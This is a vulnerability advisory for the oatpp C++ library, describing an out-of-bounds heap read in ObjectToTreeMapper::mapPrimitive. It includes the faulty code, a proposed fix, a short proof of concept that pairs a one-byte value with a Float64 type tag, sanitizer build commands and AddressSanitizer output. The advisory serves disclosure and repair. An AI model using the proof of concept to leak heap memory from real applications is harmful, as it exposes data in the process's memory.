OOB read in 'ObjectToTreeMapper::mapPrimitive'
Summary
mapPrimitive<T> dereferences the value pointer as T::ObjectType, and T comes from the dispatch table, which was selected by the value's type tag. The number of bytes read is therefore decided entirely by the tag, with no check that the pointer actually owns an object of that size. An Any whose handle pairs a one-byte payload with a Float64 tag makes the library read 8 bytes out of a one-byte allocation.
Details
src/oatpp/data/mapping/ObjectToTreeMapper.hpp:64-72:
64 template<class T>
65 static void mapPrimitive(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph){
66 (void) mapper;
67 if(polymorph){
68 state.tree->setPrimitive<typename T::ObjectType>(* static_cast<typename T::ObjectType*>(polymorph.get()));
69 } else {
70 state.tree->setNull();
71 }
72 }polymorph.get() is a void*. Line 68 casts it to T::ObjectType* and dereferences. T is fixed at instantiation, and which instantiation runs is chosen by ObjectToTreeMapper::map from m_methods[classId.id]. So the tag alone determines the width of the read.
There is no relationship between the pointer and T other than the tag asserting one. For Float64 the read is sizeof(v_float64) = 8 bytes; if the pointer owns a v_int8, seven of those bytes are past the end of the allocation.
The route that supplies a mismatched pair is mapAny (ObjectToTreeMapper.cpp:114-121), which rebuilds a Void from AnyHandle's ptr and type fields without checking that they agree. Any::retrieve (Any.cpp:71-79) does check, correctly, but mapAny reads the fields directly instead of going through it.
Fix: verify polymorph.getValueType() is T's type before the dereference.
PoC
poc_ObjectToTreeMapper_mapPrimitive.cpp:
std::shared_ptr<v_int8> oneByte(new v_int8(0x41)); // its own 1-byte heap block
auto handle = std::make_shared<oatpp::data::type::AnyHandle>(
oneByte,
oatpp::Float64::Class::getType()); // tag says 8-byte double
oatpp::Any any(handle, nullptr);
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(any);
// mapAny (ObjectToTreeMapper.cpp:119-120) -> map -> mapPrimitive<oatpp::Float64>
// -> *static_cast<v_float64*>(polymorph.get()) ObjectToTreeMapper.hpp:68AnyHandle's constructor is public and takes the pointer and the type as separate arguments, so the mismatched pair needs no trickery to build.
Build and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_mapPrimitive.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapPrimitive
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapPrimitiveASAN output:
==3009040==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c03343e0050 ...
READ of size 8 at 0x7c03343e0050 thread T0
#0 in void oatpp::data::mapping::ObjectToTreeMapper::mapPrimitive<oatpp::data::type::Primitive<double, ...>>(...)
#1 in oatpp::data::mapping::ObjectToTreeMapper::map(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#2 in oatpp::data::mapping::ObjectToTreeMapper::mapAny(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
0x7c03343e0051 is located 0 bytes after 1-byte region [0x7c03343e0050, 0x7c03343e0051)Impact
OOB read of up to sizeof(T::ObjectType) - 1 bytes past the object, and the bytes are not discarded — they become the serialized value, so this discloses adjacent heap contents into the JSON output.
Reachability is application-level:
- something in the process must construct an
AnyHandlewhose pointer and type disagree.
Source: oatpp/oatpp